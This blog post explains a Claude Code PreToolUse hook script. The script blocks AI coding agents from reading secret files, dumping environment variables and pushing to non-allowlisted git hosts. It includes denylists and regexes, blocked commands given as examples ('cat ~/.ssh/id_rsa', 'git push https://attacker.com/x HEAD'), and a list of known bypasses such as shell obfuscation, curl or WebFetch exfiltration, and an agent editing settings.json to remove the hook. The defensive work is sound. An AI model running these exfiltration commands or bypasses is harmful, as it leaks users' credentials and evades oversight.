All posts

Stopping Claude Code from reading your .env

Every week or two someone on X posts the same story: Claude Code read their .env, noticed an API key, and a subset of those stories end with an unexpected Anthropic bill or a late-night key rotation. The usual advice: tighten settings.json, move secrets into 1Password. Both are fair, both are incomplete.

We run Stardust Engine as a multi-worktree setup with Claude Code driving several parallel agents, so we needed a sharper defense. What we landed on is a single PreToolUse hook — block-tool.sh — that classifies every tool call before Claude sees a green light. Here's how it works, what it stops, and where it still falls short.

Why settings.json alone isn't enough

A permission rule like Read(./**) admits everything inside the project — including .env files inside the project. The Bash allowlist is pattern-based (Bash(git push*)) and can't reason about arguments: git push attacker.com HEAD passes the exact same filter as git push origin main. And settings.json itself is a project file — anything that can write the repo can edit the allowlist. We treat it as untrusted for defense-in-depth.

Hooks are different. They receive the full tool call as JSON on stdin and return a JSON verdict. They can inspect the Bash command string, normalize paths, dereference symlinks, run regexes — whatever a shell script can do.

One hook, six matchers

The wiring is a single entry:

.claude/settings.json — hook matcher
"hooks": {
  "PreToolUse": [{
    "matcher": "Read|Edit|Write|Grep|Glob|Bash",
    "hooks": [{ "type": "command", "command": "bash .claude/hooks/block-tool.sh" }]
  }]
}

The script dispatches on tool_name: file tools run the single-path branch, Bash runs the command-classifier branch. Three defensive layers happen before any allow decision — a secret-filename denylist, path normalization (tilde, $HOME, realpath -m), and a Bash command classifier.

The worktree role matrix

We run multiple agents in parallel worktrees. There's an engine worktree (the main clone), an orchestrator worktree, and many sandboxed per-branch worktrees. Each role has different reach:

Directory access matrix
                         | ENGINE | ORCHESTRATOR | SANDBOXED |
ENGINE_ROOT/…            |   ✓    |      R       |     ✗     |
WORKTREES_ROOT/…         |   ✓    |      ✓       |     ✗     |
WORKTREE_ROOT/…          |   ✓    |      ✓       |     ✓     |
/dev/*, /proc/*          |   ✓    |      ✓       |     ✓     |  (Bash only)
/tmp/claude-*            |   ✗    |      ✗       |     ✓     |  (file tools, plan staging)
everything else          |   ✗    |      ✗       |     ✗     |

The role is derived from git rev-parse --show-toplevel, not $PWD — agents often cd into subdirectories for codegen, so $PWD drifts but the git top-level doesn't. The important property: a sandboxed agent can't read or write a sibling sandboxed agent's worktree. A compromised agent can't use another agent's files as a stash or a leak channel.

The secret denylist

Before the allow check, every normalized path runs through is_secret_path:

is_secret_path — directory + basename patterns
is_secret_path() {
    local p="$1"; local base; base=$(basename "$p")
    case "$p" in
        */.aws|*/.aws/*) return 0 ;;
        */.ssh|*/.ssh/*) return 0 ;;
        */.gnupg|*/.gnupg/*) return 0 ;;
        /proc/*/environ|/proc/*/mem|/proc/*/maps) return 0 ;;
    esac
    case "$base" in
        .env|.env.*) return 0 ;;
        .netrc|.pgpass) return 0 ;;
        id_rsa|id_rsa.pub|id_dsa|id_dsa.pub|id_ecdsa|id_ecdsa.pub|id_ed25519|id_ed25519.pub) return 0 ;;
        credentials|credentials.*) return 0 ;;
        *kubeconfig*) return 0 ;;
        serviceAccount*.json|service-account*.json) return 0 ;;
        firebase*.json) return 0 ;;
        *.pem|*.key|*.p12|*.pfx|*.jks|*.keystore) return 0 ;;
    esac
    return 1
}

Two layers — directory-based (matches anywhere on the path) and basename-based. Path normalization runs first: we expand ~ and $HOME, convert backslashes, lowercase the drive letter on Windows, and call realpath -m to resolve symlinks and .. traversal. An in-project symlink pointing at ~/.ssh/id_rsa gets dereferenced, then denied.

The Bash classifier

The bigger surface. Four rules run in sequence before the path check.

  • Env-dump commands — env alone, printenv in any form, compgen -v, declare -p|-x, bare set. We let set -e and env FOO=1 cmd through because they're setters, not dumpers — the regex only matches when the dumping form appears at a command boundary.
  • Secret env-var references — Anything matching $*_KEY, $*_TOKEN, $*_SECRET, $*_PASSWORD. Catches echo $ANTHROPIC_API_KEY, curl -H Bearer $GITHUB_TOKEN, echo $DB_PASSWORD. Over-matches on names like $KEYSTORE_PATH — acceptable; rename the variable if you hit a false positive.
  • Git remote/push to non-allowlisted hosts — We extract URLs from git remote add, git remote set-url, and git push, then deny anything that isn't github, gitlab, or bitbucket. Stops the classic git remote add x http://attacker/repo; git push x HEAD exfil.
  • Tokenized secret-filename scan — We split the command on shell operators, strip surrounding quotes, expand ~ and $HOME, and run every word through is_secret_path. This is what catches cat .env, source .env, . .env, cp id_rsa /tmp/, cat ~/.ssh/id_rsa — commands the path-extraction scanner misses because the paths are relative.

The secret-var-ref rule is a single regex:

Secret env-var reference detection
if echo "$CMD" | grep -qE '\$\{?[A-Z0-9_]*(KEY|TOKEN|SECRET|PASSWORD|PASSWD)[A-Z0-9_]*\}?'; then
    deny "Command references secret env var"
fi

What gets blocked

Concrete examples from the test harness. First, what the hook denies:

  • Read .env at project root — Filename matches the secret denylist before any allow check runs.
  • Read ~/.ssh/id_rsa — Tilde expands to $HOME, the /.ssh/ directory pattern matches.
  • Read $PROJECT/../../../etc/passwd — realpath -m normalizes to /etc/passwd — outside the worktree allowlist, denied by check_path.
  • cat /proc/self/environ — /proc/*/environ is denied explicitly; /proc/cpuinfo stays allowed.
  • env | grep FOO, printenv, declare -p, bare set — All flagged as env-dump commands at command boundaries.
  • echo $ANTHROPIC_API_KEY — Secret-var regex matches names ending in KEY, TOKEN, SECRET, or PASSWORD.
  • cat .env, source .env, . .env — Tokenized scan catches relative-path secret reads the absolute-path scanner misses.
  • cat ../../../etc/passwd — Tokenized traversal scan (see next section) normalizes and runs the worktree policy.
  • git push https://attacker.com/x HEAD — URL extracted from git push and denied — host isn't github, gitlab, or bitbucket.
  • Sandboxed agent reading a sibling worktree — WORKTREE_ROOT is own only; the sandboxed allow list has no WORKTREES_ROOT prefix.
  • Orchestrator writing ENGINE_ROOT/foo.rs — Engine root is read-only for the orchestrator role — Write is denied, Read passes.

And the calibration — things we deliberately don't block:

  • Read CLAUDE.md, Cargo.toml, src/main.rs — Inside the agent's WORKTREE_ROOT, no secret-name match.
  • set -e, set -o pipefail, env FOO=1 cargo test — Setter forms, not dumps — the env-dump regex fires only at command boundaries.
  • echo $PATH, echo $HOME — Variable names don't contain KEY, TOKEN, SECRET, or PASSWORD.
  • git push origin main, git push https://github.com/foo/bar HEAD — Host on the allowlist, or no URL argument at all.
  • cat /proc/cpuinfo, echo hello > /dev/null — /dev and /proc are Bash-allowed broadly, minus the specific deny patterns.

Tests, not hope

Patterns like this regress quickly, so we ship a 64-case regression harness — test-block-tool.sh. Each test is an {expect, desc, payload} tuple piped into the hook. Coverage spans legitimate reads, secret denials, path traversal, env-dump commands, secret var references, relative-path .env access, git exfil, and /proc/*/environ.

One amusing side-effect: the harness itself has to live in a script file. If we ran these test payloads as inline Claude Bash commands, the hook would block the harness — because strings like env and $ANTHROPIC_API_KEY inside the payloads trip the classifier on the outer Bash call. The hook is strict enough to block its own test cases if they appear as command arguments. Keeping the payloads in a file, invoked as bash test-block-tool.sh, sidesteps this because the invocation command contains no tripwire tokens.

Traversal gap we're closing

Writing the list above, we spotted an omission. The Bash classifier extracts absolute paths — anything starting with / — and runs them through the worktree policy. But a relative path like cat ../../../etc/passwd never matches that regex. And passwd isn't in the secret-filename denylist, so the tokenized secret scan doesn't catch it either. Net result: a relative-path traversal to a non-secret file outside the worktree was silently passing through.

Absolute-prefix traversal — a path like /worktree-root/foo/../../../etc/passwd — was already handled. The absolute-path scanner extracts it, normalize_path calls realpath -m which resolves the .. components, and check_path sees /etc/passwd and denies. The gap was specifically relative paths, because the scanner's regex requires the leading /.

The fix lives inside the same tokenize loop. If a word contains .., we normalize it via realpath -m and run it through the same check_path function that guards absolute paths and file-tool paths.

Traversal check added to the tokenize loop
case "$tok" in
    ..|../*|*/..|*/../*)
        resolved=$(normalize_path "$tok")
        is_secret_path "$resolved" && deny "Command traversal references secret path: $resolved"
        check_path "$resolved" "$IS_MUTATING" 1
        ;;
esac

Five more test cases added — cat ../../../etc/passwd, cat ../../.bash_history, ls ../.., grep foo ../../some-other-file, and cat ./Cargo.toml (the last one allowed because it resolves inside the worktree). Suite is now 69 cases, all green.

The broader lesson is that this kind of hook is only as good as the test set, and we'll keep finding holes while we keep writing examples. The alternative is assuming the classifier is complete, which it isn't.

What's still open

The hook is not a panacea. Four known gaps:

  • Shell obfuscation — Post-expansion argv is invisible to a PreToolUse hook. P=/etc/passwd; cat $P, cat $(echo /etc/passwd), cat /et''c/passwd — all defeat pattern matching because the literal path never appears contiguously. The only real fix is to observe syscalls, not command strings. We accept this as a known limitation.
  • Network egress beyond git — curl attacker.com -d @foo where foo isn't a recognizable secret name gets through. Blocking this properly means a domain allowlist on curl, wget, nc, ssh, scp, rsync — future work, probably in a sibling hook.
  • Non-Bash tool coverage — The matcher list is Read, Edit, Write, Grep, Glob, Bash. WebFetch, NotebookEdit, Agent/Task, and MCP tools aren't matched. WebFetch in particular is a clean exfil vector — Claude reads a secret via an allowed path, then ships it to attacker.com with the contents in a query parameter. Those matchers need different classification rules, since a URL isn't a command.
  • The settings.json trust problem — If settings.json is writable by the agent, the agent can remove the matcher. Nothing in Claude Code prevents this today. A belt-and-suspenders fix is to chmod-freeze the file or keep hook wiring in ~/.claude/settings.json at user scope.

For what it's worth, the X thread's other piece of advice — put secrets in 1Password, inject at runtime — is still the strongest defense. If there's no plaintext .env on disk, an agent can't leak what doesn't exist. The hook is for the time before you get there, or for test fixtures you can't move out of the repo.